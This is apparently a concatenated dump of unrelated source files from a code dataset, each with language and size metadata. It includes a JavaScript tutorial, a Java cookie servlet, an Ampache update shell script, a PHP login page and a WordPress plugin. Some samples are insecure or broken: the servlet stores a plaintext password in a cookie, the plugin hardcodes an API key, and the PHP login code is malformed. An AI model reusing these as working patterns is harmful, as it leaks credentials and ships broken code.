sum(1, 2); // 3 console.log(`sum: ${sum(1, 2)}`); // 7. Early return, early exit // bad // 블럭 안에서 블럭을 쓰는 것은 가독성이 떨어짐 function upgradeUser(user) { if (user.point > 10) { // long upgrade logic.. } } // good function upgradeUser(user) { if (user.point <= 10) { return; } // long upgrade logic.. } // 1. Function expression // a function delaration can be called earlier than it is defied. (hoisted) // a function expression is created when the execution reaches it. // 함수의 이름없이 만들어서 변수에 할당할수있다. const print = function () { // anonymous function console.log('print'); } print(); const printAgain = print; printAgain(); const sumAgain = sum; console.log(sumAgain(1,3)); // 2. Callback function using function expression function randomQuiz(answer, printYes, printNo) { if (answer === 'love you') { printYes(); } else { printNo(); } } const printYes = function () { console.log('yes!'); }; const printNo = function print() { console.log('no!'); }; randomQuiz('wrong', printYes, printNo); randomQuiz('love you', printYes, printNo); // Arrow function // always anonymous /* const simplePrint = function() { console.log('simplePrint!'); } */ const simplePrint = () => console.log('simplePrint!'); //const add = (a, b) => a + b; // 블럭을 쓰면 리턴 키워드 써야함 const simpleMultiply = (a, b) => { // do something more return a * b ; }; // IIFE: Immediately Invoked Function Expression // 선언함과 동시에 실행 (function hello() { console.log('IIFE'); })() // Fun quiz time // function calculate(command, a, b) // command: add, substract, divide, multiply, remainder function calcalate(command, a, b) { if (command == add) { add(a,b); } else if (command == substract) { substract(a, b); } else if (command == divide) { divide(a, b); } else if (command == multiply) { multiply(a, b); } else if (command == remainder) { remainder(a, b); } else { console.log('command error!'); } } const add = (a, b) => console.log(`${a + b}`); const substract = (a, b) => console.log(`${a - b}`); const divide = (a, b) => console.log(`${a / b}`); const multiply = (a, b) => console.log(`${a * b}`); const remainder = (a, b) => console.log(`${a % b}`); calcalate(divide, 10, 5); calcalate(); function calcalate_switch(command, a, b) { switch (command) { case 'add': return a + b; case 'substract': return a - b; case 'divide': return a / b; case 'multiply': return a * b; case 'remainder': return a % b; default: throw Error('unknown command'); } } console.log(calcalate_switch('add', 2, 3));
Java
UTF-8
2,598
2.734375
3
[]
no_license
package com.servlet; import java.io.IOException; import java.io.PrintWriter; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * Servlet implementation class Cookie_Servlet */ @WebServlet("/Cookie_Servlet") public class Cookie_Servlet extends HttpServlet { private static final long serialVersionUID = 1L; /** * @see HttpServlet#HttpServlet() */ public Cookie_Servlet() { super(); } /** * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response) */ protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { //response.getWriter().append("Served at: ").append(request.getContextPath()); Cookie cookie1 = new Cookie("username", "apache"); Cookie cookie2 = new Cookie("password", "tomcat"); cookie1.setMaxAge(1000*60*60); cookie2.setMaxAge(1000*60*60); response.addCookie(cookie1); response.addCookie(cookie2); response.setContentType("text/text"); PrintWriter out = response.getWriter(); out.println("<HTML>"); out.println("<HEAD>"); out.println("<TITLE>Cookie Test</TITLE>"); out.println("</HEAD>"); out.println("<BODY>"); out.println("Please click the button to see the cookies sent to you."); out.println("<BR>"); out.println("<FORM METHOD=POST>"); out.println("<INPUT TYPE=HIDDEN NAME='COMPANY VALUE='Allianz'>"); out.println("<INPUT TYPE=SUBMIT VALUE=Submit>"); out.println("</FORM>"); out.println("</BODY>"); out.println("</HTML>"); out.flush(); } /** * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response) */ protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/text"); PrintWriter out = response.getWriter(); out.println("<HTML>"); out.println("<HEAD>"); out.println("<TITLE>Cookie Test</TITLE>"); out.println("</HEAD>"); out.println("<BODY>"); out.println("<H2>And, here are all the cookies.</H2>"); Cookie[] cookies = request.getCookies(); for(Cookie cookie: cookies) { out.println("<B>Cookie Name:</B> " + cookie.getName() + "<BR>"); out.println("<B>Cookie Value:</B> " + cookie.getValue() + "<BR>"); } out.println("Hidden Field:" +request.getParameter("COMPANY")); out.println("</BODY>"); out.println("</HTML>"); } }
C++
UTF-8
171
2.84375
3
[]
no_license
#include<iostream> using namespace std; int eo(int a) { (a%2==0)?cout<<"even":cout<<"odd"; } int main() { int a; cout<<"enter a :"<<endl; cin>>a; return eo(a); }
Java
UTF-8
3,709
2.421875
2
[]
no_license
package ca.ubc.cs.beta.aeatk.misc.model; import java.util.HashMap; import java.util.Map; import java.util.Random; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import ca.ubc.cs.beta.aeatk.options.RandomForestOptions; import ca.ubc.cs.beta.models.fastrf.RegtreeBuildParams; /** * Utility class that converts the RandomForestOptions object into a RegtreeBuildParams objects * @author sjr * */ public class SMACRandomForestHelper { private static final Logger log = LoggerFactory.getLogger(SMACRandomForestHelper.class); /** * Converts the rfOptions and other parameters into the required RegtreeBuildParams * * @param rfOptions options object specifying settings for RandomForest construction * @param numberOfFeatures number of features we will build with * @param categoricalSize sizes of the categorical values * @param nameConditionsMapParentsArray maps variable index to disjunctions of conjunctions of parent variables * @param nameConditionsMapParentsValues maps variable index to disjunctions of conjunctions of parent values in conditional * @param nameConditionsMapOp maps variable index to disjunctions of conjunctions of conditional operator * @return regtreeBuildParams object for Random Forest construction */ public static RegtreeBuildParams getRandomForestBuildParams(RandomForestOptions rfOptions, int numberOfFeatures, int[] categoricalSize, Map<Integer, int[][]> nameConditionsMapParentsArray, Map<Integer, double[][][]> nameConditionsMapParentsValues, Map<Integer, int[][]> nameConditionsMapOp, Random rand) { /* * Parameter File Generator */ // public RegtreeBuildParams(boolean doBootstrapping, int splitMin, double ratioFeatures, int[] catDomainSizes) /* * Most of the defaults are either read from the config or were * pilfered from a run of the MATLAB * The actual values may need to be more intelligently chosen. */ RegtreeBuildParams buildParams = new RegtreeBuildParams(false, rfOptions.splitMin, rfOptions.ratioFeatures, categoricalSize); buildParams.splitMin = rfOptions.splitMin; buildParams.ratioFeatures = rfOptions.ratioFeatures;//(5.0/6); buildParams.logModel = ((rfOptions.logModel == null) ? 1 :(((rfOptions.logModel) ? 1 : 0))); buildParams.storeResponses = rfOptions.storeDataInLeaves; buildParams.random = rand; //System.out.println("Random: " + buildParams.random.nextInt()); buildParams.minVariance = rfOptions.minVariance; if(rfOptions.brokenVarianceCalculation) { log.warn("Model set to use broken variance calculation, this may affect performance"); buildParams.brokenVarianceCalculation = true; } else { buildParams.brokenVarianceCalculation = false; } //int numberOfParameters = params.getParameterNames().size(); //int numberOfFeatures = features.getDataRow(0).length; /** * THis needs to be the length of the number of parameters in a configuration + the number of features in a configuration */ buildParams.catDomainSizes = new int[categoricalSize.length+ numberOfFeatures]; System.arraycopy(categoricalSize, 0, buildParams.catDomainSizes, 0, categoricalSize.length); if(rfOptions.ignoreConditionality) { //TODO: Make this a ModelDataSanitizer buildParams.nameConditionsMapOp = null; buildParams.nameConditionsMapParentsArray = null; buildParams.nameConditionsMapParentsValues = null; } else { buildParams.nameConditionsMapOp = new HashMap<Integer, int[][]>(nameConditionsMapOp); buildParams.nameConditionsMapParentsArray = new HashMap<Integer, int[][]>(nameConditionsMapParentsArray); buildParams.nameConditionsMapParentsValues = new HashMap<Integer, double[][][]>(nameConditionsMapParentsValues); } return buildParams; } }
Python
UTF-8
823
2.71875
3
[]
no_license
#!/usr/bin/python from subprocess import call import sys problemName = 'banker' if len(sys.argv) > 1: inputScripts = sys.argv[1:] else: inputScripts = ['test_safe.txt', 'test_unsafe.txt'] call("make", shell=True) for script in inputScripts: call("./%s < %s > output" % (problemName, script), shell=True) with open("output") as f: answers = f.readlines() answer = answers[-1].strip() if "unsafe state" in answer: print "Your program outputs that script %s is an unsafe state!" % script elif "safe state" in answer: print "Your program outputs that script %s is a safe state!" % script else: print "There was a problem parsing your output. Couldn't find either 'unsafe state' or 'safe state' in the last line of your output..."
Markdown
UTF-8
516
3.15625
3
[]
no_license
--- title: "Python - for in 문법" date: 2020-01-01T17:51:58+09:00 modified: 2020-01-08T16:03:00+09:00 categories: ["tech"] --- # Python - for in 문법 Reference : <https://youtu.be/0wpYyDlAEIg> - array, list, tuple, string 의 시퀀스를 출력 ```py days = ("Mon", "Tue", "Wed", "Thu", "Fri") for day in days: print(day) for day in [1, 2, 3, 4, 5]: print(day) for day in days: if day is "Wed": break else: print(day) for letter in "Nicolas": print(letter) ``` --- > 행복 코딩
Shell
UTF-8
1,421
2.921875
3
[ "Apache-2.0" ]
permissive
#!/bin/bash ## Various Sawmill configuration items ## Set various Java options here JAVA_OPTS="" # heap size JAVA_OPTS="$JAVA_OPTS -Xmx1g -Xms1g" # garbage collection options JAVA_OPTS="$JAVA_OPTS -XX:+UseConcMarkSweepGC" # JMX settings JAVA_OPTS="$JAVA_OPTS -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=20304 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false" # Set retries to higher than the number of nodes in a rack, to prevent write # failures when a rack is lost or restarted all at once. JAVA_OPTS="$JAVA_OPTS -Ddfs.client.block.write.retries=20" export JAVA_OPTS ## The path to the configuration file export SAWMILL_CONF=$SAWMILL_CONF_DIR/sawmill.conf ## The path where STDOUT and STDERR logs will be written. Useful if it dies ## before logging can start up. export SAWMILL_INIT_LOG=/var/log/sawmill/sawmill.init.log ## The location of the Sawmill PID file. export SAWMILL_PID_FILE=/var/run/sawmill/sawmill.pid # By default, Sawmill will run as the user sawmill. Change this to run as a # different user, or leave it blank to run as whomever starts it (probably # root). export SAWMILL_USER=sawmill # Sawmill will attempt to destroy any existing Kerberos tickets before # starting up. This is done by issuing the command here (default: kdestroy). # If you don't want to do this, then explicitly set this to blank. export KDESTROY=kdestroy
Java
UTF-8
2,424
2.265625
2
[]
no_license
package com.bwei.dabian.indent.adapter; import android.content.Context; import android.support.annotation.NonNull; import android.support.v7.widget.RecyclerView; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ImageView; import android.widget.TextView; import com.bumptech.glide.Glide; import com.bwei.dabian.R; import com.bwei.dabian.indent.bean.OrderBean; import java.util.ArrayList; import java.util.List; import butterknife.BindView; import butterknife.ButterKnife; public class GoodsAdapter extends RecyclerView.Adapter<GoodsAdapter.ViewHolder> { private Context mContext; private List<OrderBean.OrderListBean.DetailListBean> mData; public GoodsAdapter(Context mContext) { this.mContext = mContext; mData=new ArrayList<>(); } public void setaData(List<OrderBean.OrderListBean.DetailListBean> data) { //this.mData = mData; mData.clear(); mData.addAll(data); notifyDataSetChanged(); } public void addaData(List<OrderBean.OrderListBean.DetailListBean> data) { //this.mData = mData; // mData.clear(); mData.addAll(data); notifyDataSetChanged(); } @NonNull @Override public GoodsAdapter.ViewHolder onCreateViewHolder(@NonNull ViewGroup viewGroup, int i) { View view=LayoutInflater.from(mContext).inflate(R.layout.goods_item,viewGroup,false); ViewHolder viewHolder = new ViewHolder(view); ButterKnife.bind(viewHolder,view); return viewHolder; } @Override public void onBindViewHolder(@NonNull GoodsAdapter.ViewHolder viewHolder, int i) { String pic = mData.get(i).getCommodityPic(); Glide.with(mContext).load(pic).into(viewHolder.imageView_goods); viewHolder.textView_title.setText(mData.get(i).getCommodityName()); viewHolder.textView_price.setText(mData.get(i).getCommodityPrice()+""); } @Override public int getItemCount() { return mData.size(); } public class ViewHolder extends RecyclerView.ViewHolder { @BindView(R.id.goods_imag) ImageView imageView_goods; @BindView(R.id.goods_title) TextView textView_title; @BindView(R.id.goods_price) TextView textView_price; public ViewHolder(@NonNull View itemView) { super(itemView); } } }
TypeScript
UTF-8
7,999
2.796875
3
[]
no_license
/// <reference path="../../../core/StackObject.ts"/> /// <reference path="../../../core/MeException.ts"/> /// <reference path="../../../core/AutoRetireCalculatorStack.ts"/> /// <reference path="../../../core/ICalculatorStack.ts"/> /// <reference path="../../scalars/MeFloat.ts"/> /// <reference path="../../scalars/MeComplexNumbers.ts"/> namespace org.eldanb.mecalc.calclib.expr.nodes { export const OpNamesToDispatchers : { [index : string] : { cmd : core.DispatchedCommand; level : number; } } = { "+" : { cmd: core_commands.MePlusDispatch, level: 1 }, "-" : { cmd: core_commands.MeMinusDispatch, level: 1 }, "/" : { cmd: core_commands.MeDivideDispatch, level: 2, }, "*" : { cmd: core_commands.MeTimesDispatch, level: 2 } }; export class MeExprNodeBinaryOp extends MeExprNode { _operatorName : string; _leftOperand : MeExprNode; _rightOperand : MeExprNode; constructor(operator : string, leftOperand : MeExprNode, rightOperand : MeExprNode) { super(); this._leftOperand = leftOperand; this._rightOperand = rightOperand; this._operatorName = operator; } isZero(n: MeExprNode): boolean { if(n instanceof MeExprNodeStackObject) { const o = n.stackObject; return ((o instanceof scalars.MeFloat) && (o.value == 0)) || ((o instanceof scalars.MeComplex) && (o.realVal == 0) && (o.imageVal == 0)); } return false; } isUnit(n: MeExprNode): boolean { if(n instanceof MeExprNodeStackObject) { const o = n.stackObject; return ((o instanceof scalars.MeFloat) && (o.value == 1)) || ((o instanceof scalars.MeComplex) && (o.realVal == 1) && (o.imageVal == 0)); } return false; } simplifyConstants() : MeExprNode { if(this._operatorName == "+" || this._operatorName == "-") { const lz = this.isZero(this._leftOperand); const rz = this.isZero(this._rightOperand); if(lz && rz) { return new MeExprNodeStackObject(new scalars.MeFloat(0)); } else if(lz) { return this._rightOperand; } else if(rz) { return this._leftOperand } } else if(this._operatorName == "*") { const lz = this.isZero(this._leftOperand); const rz = this.isZero(this._rightOperand); const l1 = this.isUnit(this._leftOperand); const r1 = this.isUnit(this._rightOperand); if(lz || rz) { return new MeExprNodeStackObject(new scalars.MeFloat(0)); } else if(l1) { return this._rightOperand; } else if(r1) { return this._leftOperand; } } else if(this._operatorName == "/") { const lz = this.isZero(this._leftOperand); const r1 = this.isUnit(this._rightOperand); if(lz) { return new MeExprNodeStackObject(new scalars.MeFloat(0)); } else if(r1) { return this._leftOperand; } } return this; } derive(bySymbol: filesys.Symbol) : MeExprNode { if(this._operatorName == "+" || this._operatorName == "-") { return new MeExprNodeBinaryOp(this._operatorName, this._leftOperand.derive(bySymbol), this._rightOperand.derive(bySymbol)); } else if(this._operatorName == "*") { const cr1 = new MeExprNodeBinaryOp("*", this._leftOperand.derive(bySymbol), this._rightOperand.dup()).simplifyConstants(); const cr2 = new MeExprNodeBinaryOp("*", this._leftOperand.dup(), this._rightOperand.derive(bySymbol)).simplifyConstants(); return new MeExprNodeBinaryOp("+", cr1, cr2); } else if(this._operatorName == "/") { const cr1 = new MeExprNodeBinaryOp("*", this._leftOperand.derive(bySymbol), this._rightOperand.dup()).simplifyConstants(); const cr2 = new MeExprNodeBinaryOp("*", this._leftOperand.dup(), this._rightOperand.derive(bySymbol)).simplifyConstants(); const nom = new MeExprNodeBinaryOp("-", cr1, cr2).simplifyConstants(); ; const denom = new MeExprNodeBinaryOp("*", this._rightOperand.dup(), this._rightOperand.dup()).simplifyConstants(); return new MeExprNodeBinaryOp("/", nom, denom); } } onLastRefRetire() : void { this._leftOperand.retire(); this._rightOperand.retire(); } eval(aContext: core.ProgramExecutionContext): Promise<core.StackObject> { return this._leftOperand.eval(aContext).then((leftRes) => { return this._rightOperand.eval(aContext).then((rightRes) => { let operator = OpNamesToDispatchers[this._operatorName]; return operator.cmd.directApply(leftRes, rightRes) }) }); } unparse() : string { let operator = OpNamesToDispatchers[this._operatorName]; let leftParenNeeded = (this._leftOperand instanceof MeExprNodeBinaryOp) && (OpNamesToDispatchers[this._leftOperand._operatorName].level<operator.level); let leftOpStr = this._leftOperand.unparse(); let retLeft = leftParenNeeded ? `(${leftOpStr})` : leftOpStr; let rightParenNeeded = (this._rightOperand instanceof MeExprNodeBinaryOp) && (OpNamesToDispatchers[this._rightOperand._operatorName].level<operator.level); let rightOpStr = this._rightOperand.unparse(); let retRight = rightParenNeeded ? `(${rightOpStr})` : rightOpStr; return [retLeft, this._operatorName, retRight].join(""); } } // Calculate all conversion permutations for expressions. const argOps = [scalars.MeFloat, scalars.MeComplex, filesys.Symbol, MeExpr]; const allConversions = [].concat(...argOps.map((o1) => argOps.map((o2) => [o1, o2]))) const validConversions = allConversions.filter((c) => ((c[0] == MeExpr || c[1] == MeExpr) || (c[0] == filesys.Symbol || c[1] == filesys.Symbol)) && (c[0] != MeExpr || c[1] != MeExpr) ); // Register dispatch options Object.keys(OpNamesToDispatchers).forEach((opName) => { let opCmd = OpNamesToDispatchers[opName].cmd; opCmd.registerDispatchOptionFn( [MeExpr, MeExpr], function(e1 : MeExpr, e2: MeExpr) : MeExpr { let leftNode = e1._rootNode.dup(); let rightNode = e2._rootNode.dup(); return new MeExpr(new nodes.MeExprNodeBinaryOp(opName, leftNode, rightNode)); }); validConversions.forEach((c) => opCmd.registerDispatchOption(c, [MeExpr, MeExpr])); }); }
Python
UTF-8
891
3.4375
3
[]
no_license
from bisect import bisect_right from math import inf class Solution: # Function to find the maximum number of activities that can # be performed by a single person. def activitySelection(self, n, start, end): l = list(zip(start, end)) l.sort(key=lambda x: x[1]) dp = [(0, 0)] for s, e in l: # find the index s.t. acitivity ended # before start of this activity # bisect_right will point you to the index # where end time is greater than s-1 i = bisect_right(dp, (s-1, inf)) # if this end time has a better answer, # add it else it is no better than previous one if dp[i-1][1] + 1 > dp[-1][1]: dp += [(e, dp[i-1][1] + 1)] return dp[-1][1] sol = Solution() print(sol.activitySelection(4, [1, 3, 2, 5], [2, 3, 4, 6]))
C#
UTF-8
769
2.546875
3
[]
no_license
using UnityEngine; namespace HutongGames.PlayMaker.Actions { [ActionCategory("LD46")] public class GetDirectionOfObject : FsmStateAction { [RequiredField] [Tooltip("The GameObject to position.")] public FsmOwnerDefault gameObject; [RequiredField] [Tooltip("The target point to get the direction towards")] public FsmGameObject targetObject; [UIHint(UIHint.Variable)] [Tooltip("Store the Direction")] public FsmVector3 storeDirection; // Code that runs on entering the state. public override void OnEnter() { var go = Fsm.GetOwnerDefaultTarget(gameObject); var normalized = (go.transform.position - targetObject.Value.gameObject.transform.position).normalized; storeDirection.Value = normalized; Finish(); } } }
C
UTF-8
3,801
3.796875
4
[]
no_license
#include <stdio.h> #include <stdlib.h> typedef struct elemento * Inicio; struct elemento{ int valor; struct elemento * proximo; }; Inicio * new_list(){ Inicio * inicio = (Inicio*)malloc(sizeof(Inicio)); if(inicio != NULL){ *inicio = NULL; } return inicio; } int list_count(Inicio * inicio){ if(inicio == NULL) return 0; if(*inicio == NULL) return 0; struct elemento * elementoAtual = *inicio; int cont = 0; while(elementoAtual != NULL){ elementoAtual = elementoAtual->proximo; cont++; } return cont; } int list_inserir(Inicio * inicio, int novoDado){ if(inicio == NULL) return 0; struct elemento * novoElemento = (struct elemento*)malloc(sizeof(struct elemento)); if(novoElemento == NULL) return 0; novoElemento->proximo = NULL; novoElemento->valor = novoDado; if((*inicio) == NULL){ *inicio = novoElemento; } else{ struct elemento * elementoAtual = *inicio; while(elementoAtual->proximo != NULL){ elementoAtual = elementoAtual->proximo; } elementoAtual->proximo = novoElemento; } return 1; } int list_remover_inicio(Inicio * inicio){ if(inicio == NULL) return 0; if(*inicio == NULL) return 0; struct elemento * primeiroElemento = *inicio; *inicio = primeiroElemento->proximo; free(primeiroElemento); return 1; } int list_remover_meio(Inicio * inicio, int indice){ if(inicio == NULL) return 0; if(*inicio == NULL) return 0; if(indice == 0) return list_remover_inicio(inicio); int cont = 0; struct elemento * elementoAtual = *inicio; struct elemento * elementoAnterior = *inicio; while(1){ if(cont == indice) break; if(elementoAtual->proximo == NULL) break; cont++; elementoAnterior = elementoAtual; elementoAtual = elementoAtual->proximo; } if(cont != indice) return 0; elementoAnterior->proximo = elementoAtual->proximo; free(elementoAtual); return 1; } int * list_to_array(Inicio * inicio, int * outTamanhoVetor){ if(inicio == NULL || *inicio == NULL) return NULL; struct elemento * elementoAtual = *inicio; *outTamanhoVetor = list_count(inicio); int * vetorGerado = (int*)malloc(*outTamanhoVetor * sizeof(int)); if(vetorGerado == NULL) return NULL; int cont = 0; while(elementoAtual != NULL){ vetorGerado[cont] = elementoAtual->valor; elementoAtual = elementoAtual->proximo; cont++; } return vetorGerado; } void print_vetor(int * vetor, int tamanho){ int i; for (i = 0; i < tamanho; i++){ int elem = vetor[i]; if(i == tamanho - 1){ printf("%d ",elem); }else{ printf("%d ",elem); } } } int main(int argc, char** argv){ int tam, val; scanf("%d", &tam); Inicio * inicioDaLista = new_list(); int i; for (i = 0; i < tam; i++){ scanf("%d", &val); int sucesso = list_inserir(inicioDaLista, val); if(!sucesso){ printf("Erro ao inserir elemento\n"); break; } } //Convertendo lista para vetor int tamanhoVetor; int * vetor = list_to_array(inicioDaLista,&tamanhoVetor); int removes, j; scanf("%d", &removes); int toRemove[removes]; for (i = 0; i <removes; i++){ scanf("%d", &toRemove[i]); } for (i = 0; i <removes; i++){ for(j = 0; j< tamanhoVetor; j++){ if(vetor[j] == toRemove[i]){ list_remover_meio(inicioDaLista,j); vetor = list_to_array(inicioDaLista,&tamanhoVetor); } } } print_vetor(vetor,tamanhoVetor); return (EXIT_SUCCESS); }
Shell
UTF-8
1,126
4.0625
4
[]
no_license
#!/bin/bash DATE=`date '+%Y-%m-%d'` MYSQL_BACKUP=/data/backup/ampache-$DATE.sql AMPACHE_DIR=/data/ampache AMPACHE_BACKUP_DIR=/data/ampache-backup-$DATE TMP_ZIP=/tmp/ampache-$1.zip if [ -z "$1" ]; then echo "Must pass Ampache version to download as an argument"; exit 1; fi # Stopping Apache during process echo "Stopping Apache" systemctl stop apache2.service # Make a dump before updating echo "Dumping ampache database" mysqldump ampache > $MYSQL_BACKUP # Downloading archive from github project release page echo "Downloading Ampache Archive" curl -L -4 https://github.com/ampache/ampache/releases/download/$1/ampache-$1_all.zip -o $TMP_ZIP # Backup existing Ampache folder echo "Backup previous version" mv $AMPACHE_DIR $AMPACHE_BACKUP_DIR # Uncompress downloaded archive into ampache folder echo "Uncompress and copying config file" unzip -q $TMP_ZIP -d $AMPACHE_DIR chown -R www-data: $AMPACHE_DIR cp $AMPACHE_BACKUP_DIR/config/ampache.cfg.php $AMPACHE_DIR/config/ # Starting Apache service echo "Starting Apache" systemctl start apache2.service # Cleaning downloaded files echo "Cleaning ZIP file" rm $TMP_ZIP
C++
GB18030
1,213
3.484375
3
[]
no_license
#include<stdio.h> double findMedianSortedArrays(int* nums1, int nums1Size, int* nums2, int nums2Size) { int numsSize = nums1Size + nums2Size; int l[numsSize]; int temp1 = 0; int temp2 = 0; int size1Temp = nums1Size; int size2Temp = nums2Size; double result; for(int i=0; i <= (numsSize/2+1);i++) { if(size1Temp > 0 && size2Temp > 0)// 鶼ûн { if(nums1[temp1] <= nums2[temp2] )// { l[i] = nums1[temp1]; temp1++; size1Temp--; } else if (nums1[temp1] > nums2[temp2]) { l[i] = nums2[temp2]; temp2++; size2Temp--; } } else if( size1Temp == 0 && size2Temp > 0) { l[i] = nums2[temp2]; temp2++; } else if( size1Temp > 0 && size2Temp == 0 ) { l[i] = nums1[temp1]; temp1++; } } if( numsSize % 2 == 1) { result = (double)l[numsSize/2]; return result; } else{ result = ((double) (l[numsSize/2] + l[numsSize/2-1]))/2 ; return result; } } int main() { double test; int nums1[] = {1,2}; int nums2[] = {3,4}; test = findMedianSortedArrays(nums1, 2, nums2, 2); printf("%f",test); return 0; }
PHP
UTF-8
3,071
2.640625
3
[]
no_license
<? session_start(); ?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <!-- To change this license header, choose License Headers in Project Properties. To change this template file, choose Tools | Templates and open the template in the editor. Last Modified: DBoyd 10-21-17 --> <html> <head> <title>The Complete Workout</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" type="text/css" href="tcw_style.css" /> <?php error_reporting(E_ALL); ini_set('display_errors', 1); ?> </head> <body> <h1 id = "app_title" class = "frame_bar" >Welcome to The Complete Workout</h1> <div id = "view_panel" class = "center"> <h3 class = "loginTitle">Login</h3> <?php $username = "TheCompleteWorko"; $host = "localhost"; $db = "TheCompleteWorko"; // do you need to ask for username and password? if ( ! array_key_exists("username", $_POST) ) { // no username in $_POST? they need a login form! ?> <!-- LOGIN FORM --> <form class = "form-signin" role = "form" action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);?>" method = "post"> Username:<br> <input type="text" class = "form-control" name = "username" placeholder = "e.g. SirLiftsALot" required autofocus> <br><br> Password:<br> <input type="password" name="password" placeholder = "KeepItSecret" required autofocus> <?php } // Else, handle the submitted login form else { // Stripping tags from the username $username = strip_tags($_POST['username']); $password = $_POST['password']; // set up db connection string /*$db_conn_str = "(DESCRIPTION = (ADDRESS = (PROTOCOL = TCP) (HOST = cedar.humboldt.edu) (PORT = 1521)) (CONNECT_DATA = (SID = STUDENT)))";*/ // let's try to log on using this string! $conn = mysql_connect($host, $username, $password, $db); <p> Could not log into Oracle, sorry. </p> <br> Forgot your password? <br> <a href="https://pbs.twimg.com/media/DKW_xbwVwAAEo8b.jpg" class="forgotPwd"> Forgot password? </a> <br><br> <input type="submit" name="Login"> <!-- <link to register> --> <br><br><br> <div> Need to register? Follow the link. <br> <a href="registerPage.html" class="goRegister"> Register </a> </div> <br><br> <div> Continue as guest? <a href="http://www2.humboldt.edu/thecompleteworkout/">Continue </a> </div> </form> </div> // exiting if can't log in if (! $conn) { ?> <?php require_once("tcw_footer.html"); ?> </body> </html> <?php exit; } ?> <?php // FREE your statement, CLOSE your connection! mysql_close($conn); require_once("tcw_footer.html"); ?>
PHP
UTF-8
34,535
2.578125
3
[]
no_license
<?php /** * Created by PhpStorm. * User: paolo * Date: 18/07/16 * Time: 11:32 */ namespace Model\dataModel; use Model\apiFootModel; /** * Class dataModel * @package Model\dataModel * * table : * option_api_foot * competition * standing * team * match */ class dataModel { /** * Default api key use to try before to get the buying api key * @var string */ private $defaultapiKey = '565eaa22251f932b9f000001d50aaf0b55c7477c5ffcdbaf113ebbda'; /** * create Option Table * if you want to add a column just add here and update with the good query */ public function createCompetitionTable() { global $wpdb; $table_name = $wpdb->prefix . "competition"; $charset_collate = $wpdb->get_charset_collate(); $sql = "CREATE TABLE $table_name ( id mediumint(9) NOT NULL AUTO_INCREMENT, name varchar(255) NOT NULL, slug_name varchar(255) NOT NULL, classement int(3) DEFAULT NULL, region varchar(255), status tinyint(1) DEFAULT 0 NOT NULL, date_from varchar(255) DEFAULT NULL, date_to varchar(255) DEFAULT NULL, season varchar(20) DEFAULT NULL, last_update int(11) DEFAULT NULL, UNIQUE KEY id (id) ) $charset_collate;"; require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); dbDelta( $sql ); } /** * create Match Table * if you want to add a column just add here and update with the good query */ public function createMatchTable() { global $wpdb; $table_name = $wpdb->prefix . "match"; $charset_collate = $wpdb->get_charset_collate(); $sql = "CREATE TABLE $table_name ( id int(11) NOT NULL AUTO_INCREMENT, comp_id mediumint(9) NOT NULL, formatted_date varchar(10) NOT NULL, season VARCHAR(10) DEFAULT NULL, week int(4) DEFAULT NULL, venue VARCHAR(60) DEFAULT NULL, time VARCHAR(6) DEFAULT NULL, localteam_id mediumint(9) DEFAULT NULL, visitorteam_id mediumint(9) DEFAULT NULL, localteam_name VARCHAR(60) DEFAULT NULL, visitorteam_name VARCHAR(60) DEFAULT NULL, localteam_score tinyint(2) DEFAULT NULL, visitorteam_score tinyint(2) DEFAULT NULL, ht_score varchar(10) DEFAULT NULL, ft_score varchar(10) DEFAULT NULL, et_score varchar(10) DEFAULT NULL, penalty_local tinyint(2) DEFAULT NULL, penalty_visitor tinyint(2) DEFAULT NULL, events text DEFAULT NULL, last_update int(11) DEFAULT NULL, UNIQUE KEY id (id) ) $charset_collate;"; require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); dbDelta( $sql ); } /** * create Competiton Table * if you want to add a column just add here and update with the good query */ public function createOptionApiTable() { global $wpdb; $table_name = $wpdb->prefix . "option_api_foot"; $charset_collate = $wpdb->get_charset_collate(); $sql = "CREATE TABLE $table_name ( id mediumint(9) NOT NULL AUTO_INCREMENT, meta_name varchar(255) NOT NULL, id_ref mediumint(9) DEFAULT NULL, meta_value varchar(255) NOT NULL, last_update int(11) DEFAULT NULL, UNIQUE KEY id (id) ) $charset_collate;"; require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); dbDelta( $sql ); /** * Look if the table is empty, if is empty set the default apikey and token */ $result = $wpdb->get_results('SELECT * FROM '. $table_name); if($result == null){ $this->insertDefault(); } } /** * create Standing Table * if you want to add a column just add here and update with the good query */ public function createStandingTable(){ global $wpdb; $table_name = $wpdb->prefix . "standing"; $charset_collate = $wpdb->get_charset_collate(); $sql = "CREATE TABLE $table_name ( id mediumint(9) NOT NULL AUTO_INCREMENT, id_competition mediumint(9) NOT NULL, id_team mediumint(9) NOT NULL, id_stage mediumint(9) NOT NULL, team_name varchar(255) NOT NULL, comp_group varchar(255) DEFAULT NULL, position tinyint(2) NOT NULL, status varchar(20) DEFAULT 'same', point tinyint(2) DEFAULT 0 NOT NULL, round tinyint(2) DEFAULT 0 NOT NULL, overall_w tinyint(3) DEFAULT 0 NOT NULL, overall_d tinyint(3) DEFAULT 0 NOT NULL, overall_l tinyint(3) DEFAULT 0 NOT NULL, gd varchar(4) DEFAULT 0 NOT NULL, season varchar(12) NOT NULL, last_update int(11) DEFAULT NULL, UNIQUE KEY id (id) ) $charset_collate;"; require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); dbDelta( $sql ); } /** * create Team Table * if you want to add a column just add here and update with the good query */ public function createTeamTable(){ global $wpdb; $table_name = $wpdb->prefix . "team"; $charset_collate = $wpdb->get_charset_collate(); $sql = "CREATE TABLE $table_name ( id mediumint(9) NOT 